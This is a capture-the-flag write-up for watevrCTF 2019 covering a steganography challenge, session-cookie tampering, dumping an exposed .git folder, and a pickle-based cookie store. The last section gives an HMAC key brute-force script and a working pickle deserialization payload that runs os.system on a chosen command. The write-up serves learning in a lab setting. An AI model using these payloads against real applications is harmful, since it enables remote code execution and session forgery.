watevrCTF 2019 - Write-ups

Information#

CTF#

  • Name : watevrCTF 2019
  • Website : ctf.watevr.xyz
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

Evil Cuteness - Steganography#

Omg, look at that cute kitty! It's so cute I can't take my eyes off it! Wait, where did my flag go?

Authors: mateuszdrwal

Input: kitty.jpg

Install StegoVeritas:

$ python -m venv venv3
$ source venv3/bin/activate
$ which pip3
/home/noraj/CTF/watevrCTF/2019/files/venv3/bin/pip3
$ pip3 install stegoveritas

Launch StegoVeritas on the image and examine findings:

$ stegoveritas kitty.jpg
...
$ file results/trailing_data.bin
results/trailing_data.bin: Zip archive data, at least v2.0 to extract
$ unzip -t results/trailing_data.bin
Archive:  results/trailing_data.bin
    testing: abc                      OK
No errors detected in compressed data of results/trailing_data.bin.
$ cat abc
watevr{7h475_4c7u4lly_r34lly_cu73_7h0u6h}

Conclusion: Another bad challenge wrongly categorized as Forensics when in facts it is about steganography. A basic challenge where there is nearly nothing to learn and which is far from real world security. All others "forensics" challenges were image stenography too and not digital forensics.

Welcome to my cookie store!

Authors: mateuszdrwal

Websites: http://13.48.71.231:50000

We can buy cookies:

  • Chocolate Chip Cookie for 1$
  • Pepparkaka for 10$
  • Flag Cookie for 100$

but we have only 50$.

$ curl --head http://13.48.71.231:50000/
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Fri, 13 Dec 2019 22:57:28 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3959
Connection: keep-alive
Set-Cookie: session=eyJtb25leSI6IDUwLCAiaGlzdG9yeSI6IFtdfQ==; Path=/

$ printf %s 'eyJtb25leSI6IDUwLCAiaGlzdG9yeSI6IFtdfQ==' | base64 -d
{"money": 50, "history": []}

Our money balance is stored in an unprotected cookie.

Lets modify it and send (with Burp) the new cookie before buying the flag cookie.

$ printf %s '{"money": 100, "history": []}' | base64
eyJtb25leSI6IDEwMCwgImhpc3RvcnkiOiBbXX0=

It seems we succeeded:

Let's buy the flag:

POST /buy HTTP/1.1
Host: 13.48.71.231:50000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Origin: http://13.48.71.231:50000
Connection: close
Referer: http://13.48.71.231:50000/
Cookie: session=eyJtb25leSI6IDEwMCwgImhpc3RvcnkiOiBbXX0=
Upgrade-Insecure-Requests: 1

id=2

After buying the cookie, we have a new cookie that seems way longer:

Cookie: session=eyJtb25leSI6IDAsICJoaXN0b3J5IjogWyJ3YXRldnJ7YjY0XzE1XzRfNnIzNDdfM25jcnlwNzEwbl9tMzdoMGR9XG4iXX0=

Let's decoded it:

$ printf %s 'eyJtb25leSI6IDAsICJoaXN0b3J5IjogWyJ3YXRldnJ7YjY0XzE1XzRfNnIzNDdfM25jcnlwNzEwbl9tMzdoMGR9XG4iXX0=' | base64 -d
{"money": 0, "history": ["watevr{b64_15_4_6r347_3ncryp710n_m37h0d}\n"]}

Conclusion: I learned nothing here but at least it was not involving useless techniques or guessing. So still a good challenge for beginners.

Swedish State Archive - Web#

The Swedish State Archive are working on their new site, but it's not quite finished yet...

Authors: loovjo

Websites: http://13.48.59.86:50000

Looking at the source, the first lines are:

<html>
  <head>
    <meta name="author" content="web_server.py">

So let's see http://13.48.59.86:50000/web_server.py

from flask import Flask, request, escape
import os

app = Flask("")

@app.route("/")
def index():
    return get("index.html")

@app.route("/<path:path>")
def get(path):
    print("Getting", path)
    if ".." in path:
        return ""

    if "logs" in path or ".gti" in path:
        return "Please do not access the .git-folder"

    if "index" in path:
        path = "index.html"

    if os.path.isfile(path):
        return open(path, "rb").read()

    if os.path.isdir(path):
        return get("folder.html")

    return "404 not found"


if __name__ == "__main__":
    app.run("0.0.0.0", "8000")

Personal Note: It's funny how Python Flask is always used in CTF because authors are python fanatics but because of that all challenges are the same.

The author made a typo while writing is challenge:

if "logs" in path or ".gti" in path:
    return "Please do not access the .git-folder"

But since we have the source it is not a problem we know it's .git rather than .gti.

To dump this git repository (because directory are not listed) let's use GitTools or dvcs-ripper.

To install GitTools or dvcs-ripper under BlackArch Linux just do

# pacman -S gittools
# pacman -S dvcs-ripper

PS: The challenge was terribly slow, frozen or down all the time. So I came back after a night of sleep and in the meantime they pushed a new fixed version of the challenge at http://13.53.175.227:50000/.git/.

Now let's dump!

$ rip-git -v -o gitdump -a -t 5 -g -u http://13.53.175.227:50000/.git/
[i] Downloading git files from http://13.53.175.227:50000/.git/
[i] Auto-detecting 404 as 200 with 3 requests
[i] Getting 200 as 404 responses. Adapting...
[i] Using session name: hHJqyGJN
[!] Not found for COMMIT_EDITMSG: 404 as 200
[d] found config
[d] found description
[d] found HEAD
[d] found index
[!] Not found for packed-refs: 404 as 200
[!] Not found for objects/info/alternates: 404 as 200
[!] Not found for info/grafts: 404 as 200
[d] found logs/HEAD
[!] Not found for objects/do/: 503 Service Temporarily Unavailable
[d] found refs/heads/master
[i] Running git fsck to check for missing items
Checking object directories: 100% (256/256), done.
error: refs/heads/master: invalid sha1 pointer e4729652052522a5a16615f0005f9c4dac8a08c1
error: HEAD: invalid sha1 pointer e4729652052522a5a16615f0005f9c4dac8a08c1
notice: No default references
error: bad signature 0x6d74683c
fatal: index file corrupt
[i] Got items with git fsck: 0, Items fetched: 0
[!] No more items to fetch. That's it!
[!] Performing intelligent guessing of packed refs
Undefined subroutine &main::permutations called at /usr/bin/rip-git line 404.

$ cd gitdump

$ git status
error: bad signature 0x6d74683c
fatal: index file corrupt

The local git repository is broken because because many files were not downloaded. So let's take a look manually.

First remove the corrupted index.

$ rm -f .git/index
$ git status
error: bad tree object HEAD
$ git reset
error: bad tree object e4729652052522a5a16615f0005f9c4dac8a08c1

We can't restore the index to a previous version. So I tried to make a check to see what's going bad:

$ git fsck --full
Checking object directories: 100% (256/256), done.
broken link from  commit e4729652052522a5a16615f0005f9c4dac8a08c1
              to    tree 5e72097f3b99ce5936bff7c3b864ef6c7a0dae85
broken link from  commit e4729652052522a5a16615f0005f9c4dac8a08c1
              to  commit 0bba32f12b0b1dd8df052ebf3607dadccb9350d7
missing commit 0bba32f12b0b1dd8df052ebf3607dadccb9350d7
missing tree 5e72097f3b99ce5936bff7c3b864ef6c7a0dae85

First download the last object that must refer to a commit.

$ mkdir .git/objects/e4
$ wget http://13.48.59.86:50000/.git/objects/e4/729652052522a5a16615f0005f9c4dac8a08c1 -O .git/objects/e4/729652052522a5a16615f0005f9c4dac8a08c1

I found a blog post titled Reading git objects.

So let's try to read the only git object we have:

$ python
Python 3.8.0 (default, Oct 23 2019, 18:51:26)
[GCC 9.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import zlib
>>> filename = '.git/objects/e4/729652052522a5a16615f0005f9c4dac8a08c1'
>>> compressed_contents = open(filename, 'rb').read()
>>> decompressed_contents = zlib.decompress(compressed_contents)
>>> decompressed_contents
b'commit 243\x00tree 5e72097f3b99ce5936bff7c3b864ef6c7a0dae85\nparent a20f56853b2d9b30fca05f464a64609f822317a3\nauthor Travis CI User <travis@example.org> 1576262795 +0000\ncommitter Travis CI User <travis@example.org> 1576262795 +0000\n\nMake things a bit tighter'

So we can see the tree object ID and the parent object ID (previous commit).

We could do that over and over again but since it's very boring and time consuming to do that manually for many objects, I wrote a Ruby script to automate the process.

#!/usr/bin/env ruby
require 'zlib'
require 'fileutils'
require 'net/http'

# read or download
# solver.rb read <object_id>
# solver.rb download <object_id>
unless ARGV[0] == 'read' || ARGV[0] == 'download'
  object_id = ARGV[0]
# download & read
# solver.rb <object_id>
else
  object_id = ARGV[1]
end

object_folder = '.git/objects/' + object_id[0...2]
object_path = object_folder + '/' + object_id[2...]

unless ARGV[0] == 'read' # not read only
  # mkdir -p can create nested folder but also won't complain if already exist
  FileUtils.mkdir_p(object_folder)

  # Download the missing object
  Net::HTTP.start('13.53.175.227', 50000) do |http|
    resp = http.get('/' + object_path)
    open(object_path, 'wb') do |file|
        file.write(resp.body)
    end
  end
end

unless ARGV[0] == 'download' # not download only
  # Decompress and read the object
  compressed_contents = File.read(object_path)
  decompressed_contents = Zlib::Inflate.inflate(compressed_contents)
  puts(decompressed_contents)
end

I can either read, download or both a git object. So I used it:

$ ruby ../solve.rb 0bba32f12b0b1dd8df052ebf3607dadccb9350d7
commit 234tree cfca56eeb6e546f6d7bb12b2ef486be214cda116
parent 34f87063064f5c8c450279bf04c72c9d62000861
author Travis CI User <travis@example.org> 1576308513 +0000
committer Travis CI User <travis@example.org> 1576308513 +0000

Add content text

$ ruby ../solve.rb cfca56eeb6e546f6d7bb12b2ef486be214cda116
tree 118100644 folder.htmlV6��kŐfd�1�����       �100644 index.html�`��e^����l1�o�8�100644 web_server.py���d^dC��D+��5\�'

...

I did that until the initial commit.

Now let's browse git normally.

$ git status
On branch master
Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
        deleted:    folder.html
        deleted:    index.html
        deleted:    web_server.py

$ git restore --staged folder.html index.html web_server.py

Now let's take a look at the commit history:

$ git --no-pager log
commit e4729652052522a5a16615f0005f9c4dac8a08c1 (HEAD -> master)
Author: Travis CI User <travis@example.org>
Date:   Sat Dec 14 07:28:33 2019 +0000

    Make things a bit tighter

commit 0bba32f12b0b1dd8df052ebf3607dadccb9350d7
Author: Travis CI User <travis@example.org>
Date:   Sat Dec 14 07:28:33 2019 +0000

    Add content text

commit 34f87063064f5c8c450279bf04c72c9d62000861
Author: Travis CI User <travis@example.org>
Date:   Sat Dec 14 07:28:33 2019 +0000

    Change background image

commit 3f88ec740e5003ce7848f696966e012d8d9e7dd9
Author: Travis CI User <travis@example.org>
Date:   Sat Dec 14 07:28:33 2019 +0000

    Add links

commit 2e49efea4c51e6ee3eab63f2d89e2f7837181498
Author: Travis CI User <travis@example.org>
Date:   Sat Dec 14 07:28:33 2019 +0000

    Add some positioning, make the site look better

commit 042a868cd6e7e3c7d4d97105bc9d79fc94620173
Author: Travis CI User <travis@example.org>
Date:   Sat Dec 14 07:28:33 2019 +0000

    Make warning labelfixed

commit 33a765b91933b89cac2fda538f5dc03457205f7b
Author: Travis CI User <travis@example.org>
Date:   Sat Dec 14 07:28:33 2019 +0000

    Add CSS stuff

commit 1335a8d9c5b1b57552f0adf04f25b9fb63aa8131
Author: Travis CI User <travis@example.org>
Date:   Sat Dec 14 07:28:33 2019 +0000

    Make the title prettier

commit 9643da3d4bfe52b906b42c0205d7fbc681fed2de
Author: Travis CI User <travis@example.org>
Date:   Sat Dec 14 07:28:33 2019 +0000

    Add pretty image to index.html

commit 3f758acc0f86b3e849db90e1b6efeddf506c6022
Author: Travis CI User <travis@example.org>
Date:   Sat Dec 14 07:28:33 2019 +0000

    Oops, flag.txt should not be in the repo.

commit ab4e6cc2bcfb3f9fbe4ee098ce3bffa9a7a6b80e
Author: Travis CI User <travis@example.org>
Date:   Sat Dec 14 07:28:33 2019 +0000

    did some work on flag.txt

commit 0d244f764db9257b18dd84f5830ff958e7b2571d
Author: Travis CI User <travis@example.org>
Date:   Sat Dec 14 07:28:33 2019 +0000

    Initial commit, add web_server.py, index.html and folder.html

But to see the changes we need the last version of the files.

$ git restore folder.html index.html web_server.py
error: unable to read sha1 file of folder.html (5636e6826bc590056664a831b699e00fc7fe09a5)
error: unable to read sha1 file of index.html (73497f5a6879ecf3bd99fe4d5beaab3b9caeee36)
error: unable to read sha1 file of web_server.py (87879464055e640e43f98c442b1de5c7355c9927)

$ wget http://13.53.175.227:50000/ -O index.html
$ wget http://13.53.175.227:50000/web_server.py -O web_server.py
$ wget http://13.53.175.227:50000/folder.html -O folder.html

Then I tried to go to this commit were the flag was edited:

$ git checkout ab4e6cc
error: unable to read sha1 file of flag.txt (ef460ecd090b93b133675a0560eb15ae5c7ef822)
error: unable to read sha1 file of index.html (278e44e8dcfcd51d34a0e4125dd5762741ad30f2)
error: invalid object 100644 ef460ecd090b93b133675a0560eb15ae5c7ef822 for 'flag.txt'
D       flag.txt
D       index.html
Note: switching to 'ab4e6cc'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:

  git switch -c <new-branch-name>

Or undo this operation with:

  git switch -

Turn off this advice by setting config variable advice.detachedHead to false

HEAD is now at ab4e6cc did some work on flag.txt

But the object ID for flag.txt is missing, so let's download it with my awesome script.

$ ruby ../solve.rb ef460ecd090b93b133675a0560eb15ae5c7ef822
blob 32watevr{everything_is_offentligt}

Conclusion: this challenge was a pain in the a*s because it was very unresponsive, always timeouting and it was nearly impossible without luck to fully dump the git repository. The author loovjo was unresponsive, DayDun tried to help but only said me "timeout is not intentional". mateuszdrwal was more helpful and tried to separate the nginx from the python app server (maybe they were running inside the same docker container?) and he was also trying to implementing rate limiting. Finally I was able to do the challenge. Thanks to mateuszdrwal.

Pickle Store - Web#

After I went bankrupt running my cookie store i decided to improve my security and start a pickle store. Turns out pickles are way more profitable!

Authors: mateuszdrwal

We have a cookie that is a base64 string containing binary pickled data:

gAN9cQAoWAUAAABtb25leXEBTYYBWAcAAABoaXN0b3J5cQJdcQMoWBUAAABZdW1teSBzdGFuZGFyZCBwaWNrbGVxBFgUAAAAWXVtbXkgc23DtnJnw6VzZ3Vya2FxBWVYEAAAAGFudGlfdGFtcGVyX2htYWNxBlggAAAAYWZjNWVjYjU5OWEyMjJhN2ZjYmNmNTQzZjI1MzY4Y2VxB3Uu

The data will look like this:

{'money': 390, 'history': ['Yummy standard pickle', 'Yummy smörgåsgurka'], 'anti_tamper_hmac': 'afc5ecb599a222a7fcbcf543f25368ce'}

So of course the goal here is to tamper the cookie like during the Cookie Store challenge and to change our money balance to be able to buy the 1000$ pickle.

I made a python script that do that:

import pickle
import base64
import hmac
import hashlib

def make_digest(message):
  "Return a digest for the message."
  hash = hmac.new(b'secret-shared-key-goes-here',
                  message,
                  hashlib.md5)
  return hash.hexdigest()

# base64 encoded pickled data
b64_str = 'gAN9cQAoWAUAAABtb25leXEBTYYBWAcAAABoaXN0b3J5cQJdcQMoWBUAAABZdW1teSBzdGFuZGFyZCBwaWNrbGVxBFgUAAAAWXVtbXkgc23DtnJnw6VzZ3Vya2FxBWVYEAAAAGFudGlfdGFtcGVyX2htYWNxBlggAAAAYWZjNWVjYjU5OWEyMjJhN2ZjYmNmNTQzZjI1MzY4Y2VxB3Uu'
# decode the data
pickle_data = base64.b64decode(b64_str)
# unpickle the data
unpickled_data = pickle.loads(pickle_data)

print("original data: %s" % unpickled_data)

# try to alter data
unpickled_data['money'] = 9999
# delete the current anti-tamper HMAC
del unpickled_data['anti_tamper_hmac']
# pickle data before generating a new HMAC
pickle_data = pickle.dumps(unpickled_data)
# generate the HMAC of the pickled data
digest = make_digest(pickle_data)
# add the digest to the data
unpickled_data['anti_tamper_hmac'] = digest
print("modified data: %s" % unpickled_data)
# pickle data with the HMAC this time
pickle_data = pickle.dumps(unpickled_data)
# base64 encode the pickled data
b64_str = base64.b64encode(pickle_data)

print(b64_str)

So I used it to forge a new cookie:

$ python picky.py
original data: {'money': 390, 'history': ['Yummy standard pickle', 'Yummy smörgåsgurka'], 'anti_tamper_hmac': 'afc5ecb599a222a7fcbcf543f25368ce'}
modified data: {'money': 9999, 'history': ['Yummy standard pickle', 'Yummy smörgåsgurka'], 'anti_tamper_hmac': 'c2f530fef09afd8867ae6dca5eb36443'}
b'gASVgwAAAAAAAAB9lCiMBW1vbmV5lE0PJ4wHaGlzdG9yeZRdlCiMFVl1bW15IHN0YW5kYXJkIHBpY2tsZZSMFFl1bW15IHNtw7ZyZ8Olc2d1cmthlGWMEGFudGlfdGFtcGVyX2htYWOUjCBjMmY1MzBmZWYwOWFmZDg4NjdhZTZkY2E1ZWIzNjQ0M5R1Lg=='

And obviously it failed when I sent it to the server because the HMAC was wrong.

So how to get the the HMAC key to be able to sign the cookie?

No hint in the description or on the website, no SSTI to read server-side variables, no other vulns, no source or backup files, etc. so there are two options left to forge a valid cookie:

  • guessing
  • bruteforce

So I wrote a script to try to bruteforce the HMAC key with rockyou wordlist:

import pickle
import base64
import hmac
import hashlib

def make_digest(message, key):
  "Return a digest for the message."
  hash = hmac.new(bytes(key, 'latin-1'),
                  message,
                  hashlib.md5)
  return hash.hexdigest()

# base64 encoded pickled data
b64_str = 'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu'
# decode the data
pickle_data = base64.b64decode(b64_str)
# unpickle the data
unpickled_data = pickle.loads(pickle_data)

print("original data: %s" % unpickled_data)
# original data: {'money': 500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}

# retrieve the digest
original_digest = unpickled_data['anti_tamper_hmac']
# delete the current anti-tamper HMAC
del unpickled_data['anti_tamper_hmac']
# pickle data before generating a HMAC
pickle_data = pickle.dumps(unpickled_data)

# try to BF HMAC key with rockyou wordlist
wordlist = '/usr/share/wordlists/password/rockyou.txt'
lines = tuple(open(wordlist, 'r', encoding="latin-1"))
#lines = ('Pickle', 'pickle', 'Mateusz', 'mateusz', 'watevr', 'Watevr',
#        'watevrctf', 'watevrCTF', 'mateuszdrwal', 'Yummy')
for password in lines:
  if make_digest(pickle_data, password.rstrip()) == original_digest:
    print(password)

But I never got the key and neither did my small guessing list succeeded.

I tried to be smart and tried those without success:

  • just remove anti_tamper_hmac --> error 500
  • 'anti_tamper_hmac': None --> error 500
  • launch BF script again but like if only money data was signed and not history
  • etc.

Nothing works, the author keeps sayings no hints.

After the CTF end I read another WU made by r3billions, the thing to do was not to crack the HMAC secret to forge a valid cookie but to abuse pickle deserialization to get an RCE. I wrongly thought that because of the HMAC the payload won't be executed if the HMAC was not verified but that's true that the payload is unpickled before the content can be read and so the HMAC can be veriefied. Once again I went to far, only a common pickle deserialization payload such as this one was needed:

import cPickle
import sys
import base64

COMMAND = sys.argv[1]

class PickleRce(object):
    def __reduce__(self):
        import os
        return (os.system,(COMMAND,))

print(base64.b64encode(cPickle.dumps(PickleRce())))
Share